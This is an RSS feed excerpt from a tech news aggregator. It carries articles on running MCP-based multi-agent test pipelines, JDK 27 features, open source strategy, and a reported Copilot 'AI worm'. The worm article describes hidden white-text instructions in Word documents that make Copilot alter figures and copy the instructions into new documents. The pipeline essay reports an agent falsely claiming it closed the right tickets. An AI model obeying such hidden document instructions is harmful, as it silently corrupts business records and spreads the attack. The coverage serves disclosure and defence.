<p class="wp-block-paragraph">KotlinLLM is open source under Apache License 2.0. The repository contains the KotlinLLM IntelliJ IDEA plugin, the Smart macro API, and example projects. </p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Shipping an MCP test agent: The boring parts nobody demos]]></title>
<description><![CDATA[The demo videos always end at the same moment. A figma frame turns into a passing test in twelve minutes. Someone in the room says the word “productivity.” The recording stops.



The parts that come after that moment are the parts I actually get paged about. Who owns the ticket the agent opened ...]]></description>
<link>https://tsecurity.de/de/3699906/ai-nachrichten/shipping-an-mcp-test-agent-the-boring-parts-nobody-demos/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3699906/ai-nachrichten/shipping-an-mcp-test-agent-the-boring-parts-nobody-demos/</guid>
<pubDate>Mon, 03 Aug 2026 00:16:50 +0200</pubDate>
<content:encoded><![CDATA[<div><div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">The demo videos always end at the same moment. A figma frame turns into a passing test in twelve minutes. Someone in the room says the word “productivity.” The recording stops.</p>



<p class="wp-block-paragraph">The parts that come after that moment are the parts I actually get paged about. Who owns the ticket the agent opened at 3:14 a.m.? Which model call produced the assertion in test case 47? What closes the 17 draft tickets a stuck run left behind before the next sprint planning notices them? None of that shows up in the demo. All of it shows up on the on-call rotation. After 20 years of leading test automation across consumer-scale platforms, I have a strong bias about which slide in the deck predicts whether a pipeline ships or stalls. It is never the architecture slide. It is the runbook.</p>



<p class="wp-block-paragraph">This piece is about the runbook. I built an unattended agentic test pipeline over the <a href="https://modelcontextprotocol.io/">Model Context Protocol</a> — a five-agent SDLC (product manager, QA engineer, automation engineer, developer, pull-request reviewer) coordinating through MCP servers for Jira, Figma, Confluence, TestRail and GitHub, with hosted Claude as the orchestration model and an open-weights Hermes-3 as a validation baseline — and I ran it as an independent research project long enough to learn which production constraints the agent literature glosses over. What follows is the short list of things I now insist on before I let any agentic pipeline touch a shared system.</p>



<h2 class="wp-block-heading">Composition contracts, or why the agent lied to itself</h2>



<p class="wp-block-paragraph">The most expensive failure mode I have seen in a multi-agent pipeline is not the model getting an answer wrong. It is agent A getting an answer right and agent B misreading it.</p>



<p class="wp-block-paragraph">I watched this happen inside a run last month. The requirements agent produced a clean output with a field called <em>acceptance_criteria</em> that was a list of strings. The ticket agent expected <em>acceptance_criteria</em> to be a single markdown blob. Neither agent was wrong in isolation. Both were passing their own unit tests. What the pipeline produced was a Jira ticket whose acceptance criteria read, in full, the four characters <em>[” —</em> the JSON serialization of an empty first element. The test-plan agent read that, generated one test, marked it green and moved on. It took me until the pull-request stage to notice.</p>



<p class="wp-block-paragraph">This is a composition fault. It is the natural failure mode of any system where independent components hand off structured data across a boundary they don’t jointly own. Distributed systems people have written about this for years — Martin Fowler’s <a href="https://martinfowler.com/bliki/TolerantReader.html">tolerant reader</a> pattern is the classical treatment — but the LLM literature mostly still treats it as a prompt problem. It isn’t. You cannot fix it with a better system prompt. You fix it with a typed handoff contract that both agents agree to before they run, plus a validator between them that fails loud when the shape drifts.</p>



<p class="wp-block-paragraph">The heuristic I now use: Every agent-to-agent boundary gets a schema and a validator. Every agent gets a golden-input regression suite that catches contract drift before it reaches a downstream agent. Neither of those is glamorous. Both are the difference between a pipeline that produces work and a pipeline that produces a very expensive game of telephone.</p>



<p class="wp-block-paragraph">If you want to know whether a team’s agentic pipeline is going to survive the first quarter, ask them what the contract is between agent one and agent two. If the answer is “the model figures it out,” budget for the cleanup.</p>



<h2 class="wp-block-heading">Provenance, or the audit trail nobody wrote</h2>



<p class="wp-block-paragraph">The second thing I insist on now is that every artifact the pipeline produces has to answer three questions without a human doing archaeology: which agent produced it, which model call produced it and which upstream inputs the agent was looking at when it did.</p>



<p class="wp-block-paragraph">This sounds like a nice-to-have. It is not.</p>



<p class="wp-block-paragraph">Somewhere around week three of running the pipeline I hit a subtle case: the requirements agent was quoting a Confluence page back to itself. The MCP server for Confluence had returned an empty result on a first call, the agent had written a placeholder requirement, the second call had succeeded, the agent had retrieved its own placeholder and by the third pass it was citing that placeholder as source truth. The ticket said, entirely in earnest, that the requirement came from the design owner. It hadn’t come from anywhere. It had come from itself, four minutes ago.</p>



<p class="wp-block-paragraph">You cannot debug that class of failure with logs of what the model said. You need logs of what the model was looking at. That means capturing the tool-call ID for every MCP call, stamping every artifact with the set of tool-call IDs it derived from and refusing to accept any retrieved fact into a downstream stage that cannot be traced to a real external source. I call it the prove-the-source rule. It’s boring. It’s a two-line requirement in the runbook. It is also the single guardrail that has saved me the most on-call time.</p>



<p class="wp-block-paragraph">There is a nice side effect. When editors, reviewers or auditors ask where a decision came from, the pipeline can show them. That matters if you work anywhere near a regulated stack, and increasingly it matters everywhere else — the <a href="https://airc.nist.gov/AI_RMF_Knowledge_Base/AI_RMF">AI transparency and provenance framing in NIST’s AI Risk Management Framework</a> is going to become the default expectation faster than most teams are budgeting for.</p>



<h2 class="wp-block-heading">Cleanup and ownership, or why I now write the shutdown script first</h2>



<p class="wp-block-paragraph">The last thing that will surprise a team shipping their first agentic pipeline is the debris.</p>



<p class="wp-block-paragraph">A pipeline that runs unattended for a week will leak. It will leak draft Jira tickets whose parent stories were never approved. It will leak GitHub branches for test suites that were never merged. It will leak TestRail runs that started, produced two results and never got a summary. It will leak Confluence page comments the agent posted while asking itself a clarifying question. None of these are bugs. They are the natural output of an autonomous system that starts more work than it finishes.</p>



<p class="wp-block-paragraph">I learned this by accident. About six weeks into the project I ran a query on Jira for tickets created by the automation user in the past thirty days. I was expecting maybe 20. It was 91. 68 of them were [DRAFT] in the title and had not been touched by any human. I closed them by hand one afternoon, and while I was doing it, I understood that the pipeline had a silent second job I had never designed for: garbage collection.</p>



<p class="wp-block-paragraph">Now every pipeline I run has three things I write before I write the first agent. A shutdown script that closes any artifact the current run has orphaned. A nightly reconciliation pass that closes any artifact any prior run has orphaned. And a single named owner — a human, on the org chart, with a Slack handle — for every downstream system the pipeline can write into. When the pipeline creates a Jira ticket, the ticket has a real assignee. When the pipeline opens a pull request, a specific reviewer is on the hook. When the pipeline files a TestRail run, someone gets pinged if it goes stale. The pipeline is not allowed to touch a system that does not have a named owner. That rule alone would have saved me the ninety-one-ticket afternoon.</p>



<p class="wp-block-paragraph">There is one anti-pattern here I want to name outright. Do not, under any circumstance, let the agent close its own artifacts. I tried it. The agent, tasked with cleanup, closed the wrong thirty tickets and then confidently wrote a summary saying it had closed the right ones. Cleanup is a human loop or a deterministic script. It is not a model call.</p>



<p class="wp-block-paragraph">The pipeline works. It saves real time on the right kind of work. It also costs real time on a shape of work most teams don’t put in the estimate: Contract validators between agents, provenance stamping on every artifact, a shutdown script, a reconciliation pass, a human owner for every downstream system and an unshakable rule against the model doing its own cleanup. None of that is glamorous. None of it is what the demo shows. All of it is the runbook, and the runbook is what determines whether a pipeline is a lab experiment or something the on-call engineer trusts enough to sleep through. The teams that write the runbook first ship. The teams that write it after the first Sunday incident spend the next two quarters catching up.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.infoworld.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[JDK 27: The new features of Java 27]]></title>
<description><![CDATA[Java Development Kit 27, an Oracle-driven, planned update to standard Java, is set to reach its initial release candidate (RC) stage on August 6. This update has features ranging from making the Garbage-First (G1) garbage collector the default collector and adding structured concurrency to simpli...]]></description>
<link>https://tsecurity.de/de/3699910/ai-nachrichten/jdk-27-the-new-features-of-java-27/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3699910/ai-nachrichten/jdk-27-the-new-features-of-java-27/</guid>
<pubDate>Mon, 03 Aug 2026 00:16:50 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph"><a href="https://openjdk.org/projects/jdk/27/">Java Development Kit 27</a>, an Oracle-driven, planned update to standard Java, is set to reach its initial release candidate (RC) stage on August 6. This update has features ranging from making the Garbage-First (G1) garbage collector the default collector and adding structured concurrency to simplify concurrent programming. JDK 27 is currently in rampdown phase 2, with the feature set now frozen. </p>



<p class="wp-block-paragraph">Overall, there are nine features listed on what is described as a reference implementation of JDK 27. The first five features include making G1 the default garbage collector, post-quantum hybrid key exchange for TLS 1.3, lazy constants, structured concurrency, and primitive types in patterns, <code>instanceof</code>, and <code>switch</code>. The next four include compact object headers, JFR (JDK Flight Recorder) in-process data redaction, a vector API, and PEM (Privacy-Enhanced Mail) encodings for cryptographic objects.</p>



<p class="wp-block-paragraph">The final release candidate stage for JDK 27 follows on August 20, with general availability scheduled for September 15. Early-access builds for JDK 27 can be found at <a href="https://jdk.java.net/27/">jdk.java.net</a>.</p>



<p class="wp-block-paragraph">With JDK 27, <a href="https://openjdk.org/jeps/523">G1 becomes the default garbage collector</a> in all environments, rather than just in server environments. Goals are to ensure that the HotSpot JVM will always select G1 and that performance including throughput, latency, memory footprint, and startup time does not degrade significantly.</p>



<p class="wp-block-paragraph">With <a href="https://openjdk.org/jeps/527" data-type="link" data-id="https://openjdk.org/jeps/527">post-quantum hybrid key exchange for TLS 1.3</a>, the goal is to enhance the security of Java applications that require secure network communication by implementing hybrid key exchange algorithms. Such algorithms defend against future quantum computing attacks by combining a quantum-resistant algorithm with a traditional algorithm.</p>



<p class="wp-block-paragraph"><a href="https://openjdk.org/jeps/531">Lazy constants</a> introduces an API for objects that hold unmodifiable data. Lazy constants are treated as true constants by the JVM, enabling the same performance optimizations that are enabled by declaring a field <code>final</code>. Compared to <code>final</code> fields, however, lazy constants offer greater flexibility in the timing of their initialization. This feature is in a third preview. </p>



<p class="wp-block-paragraph">The goal of <a href="https://openjdk.org/jeps/532" data-type="link" data-id="https://openjdk.org/jeps/532">primitive types in patterns, <code>instanceof</code>, and <code>switch</code></a> is to enhance pattern matching by allowing primitive types in all pattern contexts, and to extend <code>instanceof</code><strong> </strong>and <code>switch</code> to work with all primitive types. This feature is in a fifth preview. </p>



<p class="wp-block-paragraph"><a href="https://openjdk.org/jeps/533">Structured concurrency</a> simplifies concurrent programming by introducing an API that treats groups of related tasks running in different threads as single units of work. Goals include streamlining error handling and cancellation, improving reliability, and enhancing observability. Structured concurrency is in its seventh preview. </p>



<p class="wp-block-paragraph">JDK 27 makes <a href="https://openjdk.org/jeps/534">compact object headers</a> the default object header layout in the HotSpot JVM. Compact object headers reduce object headers from 96 bits down to 64 bits on 64-bit architectures, reducing heap size, improving deployment density, and increasing data locality. </p>



<p class="wp-block-paragraph"><a href="https://openjdk.org/jeps/536">JFR data in-process redaction</a> allows users to redact command-line arguments and the initial values of environment variables and system properties in JFR recordings. JFR recording files may contain events that include sensitive data, such as secrets in command-line arguments, access tokens in environment variables, and passwords in system properties. This data is (optionally) redacted before it leaves the process, so that sensitive information does not leak.</p>



<p class="wp-block-paragraph">The <a href="https://openjdk.org/jeps/537">vector API</a> introduces an API to express vector computations that reliably compile at run time to optimal vector instructions on supported CPUs, thus achieving better performance than equivalent scalar computations. This is an incubating API in its 12th incubation.</p>



<p class="wp-block-paragraph"><a href="https://openjdk.org/jeps/538" data-type="link" data-id="https://openjdk.org/jeps/538">PEM encodings of cryptographic objects</a> introduces an API for encoding objects that represent cryptographic keys, certificates, and certificate revocation lists in the PEM transport format, and for decoding from PEM back into objects. This is a preview API. </p>



<p class="wp-block-paragraph">JDK 27 is a short-term feature release (<a href="https://www.oracle.com/java/technologies/java-se-support-roadmap.html" data-type="link" data-id="https://www.oracle.com/java/technologies/java-se-support-roadmap.html">non-LTS</a>) that will receive six months of support from Oracle. Its predecessor, <a href="https://www.infoworld.com/article/4050993/jdk-26-the-new-features-in-java-26.html">JDK 26</a>, also a short-term release, became generally available on March 17. </p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Why open source matters in an AI world]]></title>
<description><![CDATA[I’m an old Borland guy. I started using Borland tools in the early 1990s, from Turbo Pascal through Delphi. I dabbled in Paradox. I even tried to stick with Borland Office. I wandered through the Inprise years, and the Kylix endeavor, and I was actually a Borland employee during the CodeGear/Emba...]]></description>
<link>https://tsecurity.de/de/3699912/ai-nachrichten/why-open-source-matters-in-an-ai-world/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3699912/ai-nachrichten/why-open-source-matters-in-an-ai-world/</guid>
<pubDate>Mon, 03 Aug 2026 00:16:50 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">I’m an old Borland guy. I started using Borland tools in the early 1990s, from Turbo Pascal through Delphi. I dabbled in Paradox. I even tried to stick with Borland Office. I wandered through the <a href="https://en.wikipedia.org/wiki/Borland#Renaming_to_Inprise_Corporation">Inprise years</a>, and the <a href="https://en.wikipedia.org/wiki/Borland_Kylix">Kylix endeavor</a>, and I was actually a Borland employee during the <a href="https://en.wikipedia.org/wiki/CodeGear">CodeGear</a>/<a href="https://en.wikipedia.org/wiki/Embarcadero_Technologies">Embarcadero</a> migrations. </p>



<p class="wp-block-paragraph">You could write a book about the rise and fall of Borland. Suffice it to say that things got dodgy when Borland strayed from its focus on developer tools, and they never really recovered.  </p>



<p class="wp-block-paragraph">One of Borland’s missteps came with the open-sourcing of <a href="https://en.wikipedia.org/wiki/InterBase" data-type="link" data-id="https://en.wikipedia.org/wiki/InterBase">InterBase</a>, its RDBMS. In the early 2000s, <a href="https://www.infoworld.com/article/2262355/what-is-open-source-software-open-source-and-foss-explained.html" data-type="link" data-id="https://www.infoworld.com/article/2262355/what-is-open-source-software-open-source-and-foss-explained.html">open-source software</a> emerged from the academic shadows and began to commercialize. With the IPO of <a href="https://en.wikipedia.org/wiki/Red_Hat">Red Hat</a>, everyone was jumping on the Linux and open-source bandwagon. Borland made their move into this arena with InterBase. </p>



<p class="wp-block-paragraph">Two things soon happened. First, the <a href="https://www.firebirdsql.org/en/start/" data-type="link" data-id="https://www.firebirdsql.org/en/start/">Firebird</a> project was created as a fork of the InterBase source. Second, Borland retreated from the open-source project and reincorporated InterBase as a closed-source product. One might mark this as the beginning of developers losing faith in Borland.</p>



<h2 class="wp-block-heading">It was developers, then</h2>



<p class="wp-block-paragraph">And it always ends up being about the developers, right? I mean, who can forget a <a href="https://www.youtube.com/watch?v=8fcSviC7cRM" data-type="link" data-id="https://www.youtube.com/watch?v=8fcSviC7cRM">sweaty, maniacal Steve Ballmer jumping around</a> onstage screaming “Developers, developers, developers”? For many years, Microsoft was notoriously anti-open-source, but even they eventually recognized the power of open-sourcing major tools like <a href="https://www.infoworld.com/article/2264488/what-is-the-net-framework-microsofts-answer-to-java.html" data-type="link" data-id="https://www.infoworld.com/article/2264488/what-is-the-net-framework-microsofts-answer-to-java.html">.NET</a> and <a href="https://www.infoworld.com/article/2335960/what-is-visual-studio-code-microsofts-extensible-code-editor.html" data-type="link" data-id="https://www.infoworld.com/article/2335960/what-is-visual-studio-code-microsofts-extensible-code-editor.html">Visual Studio Code</a>. </p>



<p class="wp-block-paragraph">But Microsoft didn’t do that out of the goodness of their heart — they clearly saw those tools as a means to bringing developers to their Azure cloud platform. When Amazon launched AWS, they clearly were sidestepping the IT procurement process, making it easy for developers to spin up VMs with just a credit card. Apple shipped the iPhone without an SDK, expecting developers to figure things out.  That didn’t last long, and they soon course-corrected.</p>



<p class="wp-block-paragraph">Open source is great — but always remember that it offers benefits to companies beyond the software development process. Borland fumbled the ball with their open source efforts, but it soon became obvious how to leverage open source for corporate success. Or, as Stephen O’Grady argues in his book <a href="https://thenewkingmakers.com/" data-type="link" data-id="https://thenewkingmakers.com/">The New Kingmakers</a>, developers are the ones who decide what technologies succeed. Companies quickly recognized that courting developers with open-source software and other free resources was the way to bring them into the fold. Because developers write all the software that makes a tool, platform, or application successful, it’s always a smart move to make developers happy.</p>



<h2 class="wp-block-heading">It’s developers, now</h2>



<p class="wp-block-paragraph">AI hasn’t changed this equation. The latest incarnation can be seen from the company Nvidia. We think of Nvidia as a hardware company, cranking out GPUs as fast as they can. But GPUs don’t sell unless there is software that runs on them. Coding against a GPU in plain C++ was miserable, so Nvidia developed <a href="https://www.infoworld.com/article/2256401/what-is-cuda-parallel-programming-for-gpus.html" data-type="link" data-id="https://www.infoworld.com/article/2256401/what-is-cuda-parallel-programming-for-gpus.html">CUDA</a>, a proprietary layer that made building for their hardware relatively easy. And the more CUDA is used, the more people depend on Nvidia hardware. This is not an accident. As Nader Khalil, Nvidia’s Director of Developer Technologies, told me, “You have to make the best hardware that you can, and you have to make the best software to utilize it. Software is the part of the stack that touches the user.”</p>



<p class="wp-block-paragraph">Today, of course, developers are all about agentic coding, and Nvidia is eyeball deep in that world. As such, Nvidia provides a set of open-weight models called <a href="https://developer.nvidia.com/topics/ai/nemotron" data-type="link" data-id="https://developer.nvidia.com/topics/ai/nemotron">Nemotron</a> that developers can use, inspect, and fine-tune for their own purposes. And of course Nemotron runs really well on top of CUDA. </p>



<p class="wp-block-paragraph">Nvidia, like Microsoft and Amazon, is doing this because they want to sell their products to more people. Nvidia can’t make enough GPUs for Anthropic and OpenAI to keep up with demand, but they also want to sell GPUs to us developers by enabling us to run our own models on our own computers. </p>



<p class="wp-block-paragraph">The open source movement began with pure hearts and noble ideals. But the reality of open source is that its nobility is easily melded with business needs. Open source software is really the bait — and developers are the real catch.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Copilot worm can spread through Microsoft Word docs]]></title>
<description><![CDATA[An “AI worm” can spread through Microsoft Word documents using Copilot as a vector, a prominent Norwegian AI researcher reported on Tuesday.



The report from Håkon Måløy, later confirmed by Microsoft, said that an attacker can conceal instructions in a document that is later used as source mate...]]></description>
<link>https://tsecurity.de/de/3699922/ai-nachrichten/copilot-worm-can-spread-through-microsoft-word-docs/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3699922/ai-nachrichten/copilot-worm-can-spread-through-microsoft-word-docs/</guid>
<pubDate>Mon, 03 Aug 2026 00:16:50 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">An “AI worm” can spread through Microsoft Word documents using Copilot as a vector, a prominent Norwegian AI researcher reported on Tuesday.</p>



<p class="wp-block-paragraph"><a href="https://enklypesalt.com/posts/context-collapse-part3-ai-worming-through-word/" target="_blank" rel="noreferrer noopener">The report</a> from <a href="https://www.linkedin.com/in/h%C3%A5kon-m%C3%A5l%C3%B8y-770572276/" target="_blank" rel="noreferrer noopener">Håkon Måløy</a>, later confirmed by Microsoft, said that an attacker can conceal instructions in a document that is later used as source material for Copilot-generated or Copilot-edited Word documents, for example, as input to a financial report. Those malicious instructions could potentially alter figures in the document being created. They then copy themselves into the new document, causing it to become a carrier of the attack when used in another Copilot-assisted workflow.</p>



<p class="wp-block-paragraph">Måløy noted: “To my knowledge, this is among the first public demonstrations of document-borne AI-worm self-propagation through normal workflows in a mainstream commercial productivity suite.”</p>



<p class="wp-block-paragraph">Microsoft on Thursday emailed a statement to CSOonline discussing the report’s revelations. </p>



<p class="wp-block-paragraph">“We have addressed the findings reported by the researcher and thank them for working with us through coordinated vulnerability disclosure. To address this class of risk, we use a defense-in-depth strategy with safeguards that block malicious instructions at multiple points and help keep tasks aligned with users’ requests,” Microsoft said. </p>



<p class="wp-block-paragraph">“We are continuously strengthening these safeguards as the technology and threat landscape evolve,” it added. “We encourage customers to install the latest updates, use multiple layers of security protection, treat content from unknown sources with caution, and review AI-generated content before using or sharing it.” </p>



<h2 class="wp-block-heading">Sidesteps defenses</h2>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/akm76/" target="_blank" rel="noreferrer noopener">Aman Mahapatra</a>, chief strategy officer for Tribeca Softtech, a New York City-based technology consulting firm, has reviewed the mechanisms used in this vulnerability and says that it is much worse than it might seem, because it will sidestep just about every defensive mechanism enterprises have in place today.</p>



<p class="wp-block-paragraph">“This is a worm, a self-propagating malware pattern that uses Copilot as the transmission mechanism and legitimate corporate collaboration as the delivery channel. It bypasses every traditional email security control because the document is not malicious on delivery and it becomes malicious when Copilot processes it. That means that it bypasses DLP because the exfiltration happens through the user’s own authenticated Copilot session,” Mahapatra said. “It then bypasses endpoint protection because no code executes, only instructions get followed by an AI service the enterprise has explicitly authorized.”</p>



<p class="wp-block-paragraph">He also noted that researchers have been warning about this class of attack for two years.</p>



<h2 class="wp-block-heading">Microsoft’s involvement</h2>



<p class="wp-block-paragraph">Måløy said that he has been working with the Microsoft Security Response Center (MSRC) since March 3 and <a href="https://www.csoonline.com/article/4203349/russian-hackers-turn-exchange-flaw-into-half-click-mailbox-takeover.html" target="_blank">Microsoft </a> subsequently implemented and distributed multiple small focused mitigations, but the core vulnerability has yet to be fixed.</p>



<p class="wp-block-paragraph">He said he was hesitant to disclose an active vulnerability, but felt that it was now time to publish. </p>



<p class="wp-block-paragraph">“My reasoning is that defenders cannot reduce exposure to a risk they are unaware of,” Måløy wrote, “and the propagation mechanism described here affects ordinary document workflows that many organizations already rely on.”</p>



<p class="wp-block-paragraph">In an email interview, Måløy noted that the tweaks Microsoft has implemented were helpful, nonetheless. </p>



<p class="wp-block-paragraph">“The coordinated disclosure process showed that mitigations can meaningfully reduce the demonstrated attack surface, making attacks less reliable and limiting their reach, even without completely eliminating the underlying problem,” he said. </p>



<p class="wp-block-paragraph">Måløy also addressed the resolution that many analysts and consultants suggested, which is to change the nature of LLMs to fully isolate instructions from the data they operate on. </p>



<p class="wp-block-paragraph">“Separating instructions from data may be part of the solution, but I think the distinction between data and instructions is not always clear in real-world workflows. For example, a user may ask an agent to arrange a business trip, requiring the agent to retrieve an email specifying the approved itinerary and a document containing the booking procedure,” Måløy said. </p>



<p class="wp-block-paragraph">“My view is that the broader challenge is therefore not simply to prevent systems from interpreting external content as instructions, but to evaluate whether those instructions align with the user’s goals and the context in which the system is operating,” he added.</p>



<h2 class="wp-block-heading">Problem hard to overstate</h2>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/eclectiqus/" target="_blank" rel="noreferrer noopener">Mike Wilkes</a>, enterprise CISO at Aikido Security, said it would be difficult to overstate the potential problems from this situation. </p>



<p class="wp-block-paragraph">“This is a significant issue because it moves prompt injection from a single compromised interaction into a potentially self-propagating document integrity attack,” he said, noting that it is not a conventional worm that spreads automatically. A user or Copilot workflow must still bring an infected document into the model’s context. “But once that happens, the malicious instructions can reportedly alter business information, conceal themselves inside the resulting Word document and turn a legitimate internal file into the next carrier,” he said.</p>



<p class="wp-block-paragraph">That, he pointed out, creates “a dangerous enterprise supply chain in which financial reports, contracts, policies and partner documents may inherit malicious behavior while retaining the trust associated with their legitimate authors and Microsoft 365 accounts.”</p>



<h2 class="wp-block-heading">Not a new issue</h2>



<p class="wp-block-paragraph">The key issue behind this flaw is the fact that genAI tends to struggle with telling the difference between data that a user offers as input and the instructions the AI is to execute.</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/fvillanustre/" target="_blank" rel="noreferrer noopener">Flavio Villanustre</a>, CISO for the LexisNexis Risk Solutions Group, observed that the same problem with mixed data and instructions occurred in databases decades ago, and turned into what we know as SQL injection attacks today. But, he noted, a few years later, parametrized binding for the database access layers was developed, which separates instructions, which are handled internally and safely, from data, which can come from untrusted sources. “The same needs to happen with LLMs and other AI,” he said.</p>



<p class="wp-block-paragraph"><a href="https://moorinsightsstrategy.com/team/mike-leone/" target="_blank" rel="noreferrer noopener">Mike Leone</a>, a VP/principal analyst at Moor Insights &amp; Strategy, agreed.</p>



<p class="wp-block-paragraph">“It’s hard not to chuckle a bit with this one. People have been asking whether data can give orders since SQL injections. We fixed that one by giving the database a way to tell an instruction from a value,” Leone said. “Thirty years later, we’ve built an entire category of software that can’t tell the difference at all.”</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/tomfindling/" target="_blank" rel="noreferrer noopener">Tom Findling</a>, CEO at Conifers.ai, also said he sees the data-vs-instructions issue as the biggest problem. </p>



<p class="wp-block-paragraph">“Separating data from instructions is still unsolved at the model layer. The labs are making real progress, but not enough to be your only control,” he said, and stressed, “Microsoft doesn’t need to wait for that. It can slow propagation inside Copilot: stop hidden content from being written into new documents, surface hidden text before it’s used, preserve the trust level of what Copilot read and show all AI-generated changes.”</p>



<h2 class="wp-block-heading">Fix needs industry agreement</h2>



<p class="wp-block-paragraph">However, <a href="https://my.idc.com/getdoc.jsp?containerId=PRF004767" target="_blank" rel="noreferrer noopener">Frank Dickson</a>, group VP for security at IDC, argued that a fix needs industry agreement. </p>



<p class="wp-block-paragraph">“A fundamental fix requires the industry to converge on the same architectural change, which isn’t happening anytime soon given the incentives and the fact that the major players are far from besties,” he said, pointing out that Instruction-data separation would need to be baked in at the model or platform level across every major vendor. “None of them are rewarding that work commercially right now, so treat that as a multi-year research problem, not something a CISO should wait on.”</p>



<p class="wp-block-paragraph">Leone disagreed, arguing that a single vendor can do quite a bit, at least for its own customers. </p>



<p class="wp-block-paragraph">“Microsoft has said publicly since last year that indirect prompt injection can’t be fully prevented, and I give them credit for saying it out loud rather than pretending otherwise,” Leone said, noting that the industry doesn’t have to move in lockstep. “This attack lives inside one product,” he said. “If Microsoft hardens the Copilot document path, Copilot customers get safer whether or not anyone else moves.”</p>



<p class="wp-block-paragraph">Dickson added that another critical problem with this vulnerability is that the carrier documents are created by legitimate employees using legitimate tools, “so there’s no obvious point of origin once the payload starts moving; an organization could be laundering corrupted financial figures through its own workflow for weeks before anyone notices.”</p>



<h2 class="wp-block-heading">Tactics that might help</h2>



<p class="wp-block-paragraph">That said, experts had some specific suggestions for CISOs trying to negate this problem. </p>



<p class="wp-block-paragraph">IDC’s Dickson said, “the most useful lever right now sits outside the model entirely, in how much untrusted content Copilot is allowed to pull into a session without a human choosing it.” He noted that enterprises can turn Copilot’s auto-discovery behavior off or restrict it, and require humans to explicitly select the documents they feed it. “That alone closes off one of the two ways the attack gets a foothold,” he said.</p>



<p class="wp-block-paragraph">IDC also suggested a visible diff or redline of anything Copilot changes in a financial or otherwise consequential document, and the requirement for a human to approve the changes. “That’s not a technical fix, it’s a workflow one, and it’s available today,” Dickson said.</p>



<p class="wp-block-paragraph">He said that IT should also track where content came from and what was touched by an AI system, in metadata that travels with the document. “It doesn’t stop the injection, but it means when something does get through, an organization can actually trace how far it spread instead of discovering a corrupted number three reports later with no way to reconstruct the chain,” he said.</p>



<p class="wp-block-paragraph">However, one expert, <a href="https://www.fortra.com/profile/tyler-reguly" target="_blank" rel="noreferrer noopener">Tyler Reguly</a>, Fortra’s associate director of security R&amp;D, said that he didn’t see this vulnerability having a meaningful impact because it feels like what he called a “laboratory vulnerability.”</p>



<p class="wp-block-paragraph">Normal enterprise workflows don’t encompass a number of the necessary steps for compromise, he said, pointing out that, if anything, people are trained not to download Word documents. Plus, he noted, looking at the blurred example in the report, the malicious document contained an additional apparently blank page which held the concealed prompts in white text.</p>



<p class="wp-block-paragraph">“That page is going to send up warning signs for me if someone even managed to convince me to download an external Word document,” he said. So, overall, “this feels like it requires a perfect storm.”</p>



<p class="wp-block-paragraph"><em>This article originally appeared on <a href="https://www.csoonline.com/article/4203630/microsoft-confirms-an-ai-worm-is-propagating-through-copilot-and-other-ms-apps.html" target="_blank">CSOonline</a>.</em></p>



<p class="wp-block-paragraph"></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Fender’s CEO seems to think your bandmates are just analog AI]]></title>
<description><![CDATA[Fender CEO Edward "Bud" Cole gave an interview to T3 in May celebrating the 75th anniversary of the Telecaster with comments on AI and music that initially flew under the radar. But it has started making the rounds recently, pouring more fuel on an already raging fire of bad PR following the comp...]]></description>
<link>https://tsecurity.de/de/3699934/ai-nachrichten/fenders-ceo-seems-to-think-your-bandmates-are-just-analog-ai/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3699934/ai-nachrichten/fenders-ceo-seems-to-think-your-bandmates-are-just-analog-ai/</guid>
<pubDate>Mon, 03 Aug 2026 00:16:50 +0200</pubDate>
<content:encoded><![CDATA[Fender CEO Edward "Bud" Cole gave an interview to T3 in May celebrating the 75th anniversary of the Telecaster with comments on AI and music that initially flew under the radar. But it has started making the rounds recently, pouring more fuel on an already raging fire of bad PR following the company pissing off […]]]></content:encoded>
</item>
<item>
<title><![CDATA[Would you get tattooed just to interview at a 7-days-a-week AI startup?]]></title>
<description><![CDATA[LemonLime’s CEO got “carried away” with tattoo gimmick.]]></description>
<link>https://tsecurity.de/de/3699856/ai-nachrichten/would-you-get-tattooed-just-to-interview-at-a-7-days-a-week-ai-startup/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3699856/ai-nachrichten/would-you-get-tattooed-just-to-interview-at-a-7-days-a-week-ai-startup/</guid>
<pubDate>Mon, 03 Aug 2026 00:16:48 +0200</pubDate>
<content:encoded><![CDATA[LemonLime’s CEO got “carried away” with tattoo gimmick.]]></content:encoded>
</item>
<item>
<title><![CDATA[From CUDA to MLX: How K-Search Brings Decades of Kernel Expertise to Apple Silicon]]></title>
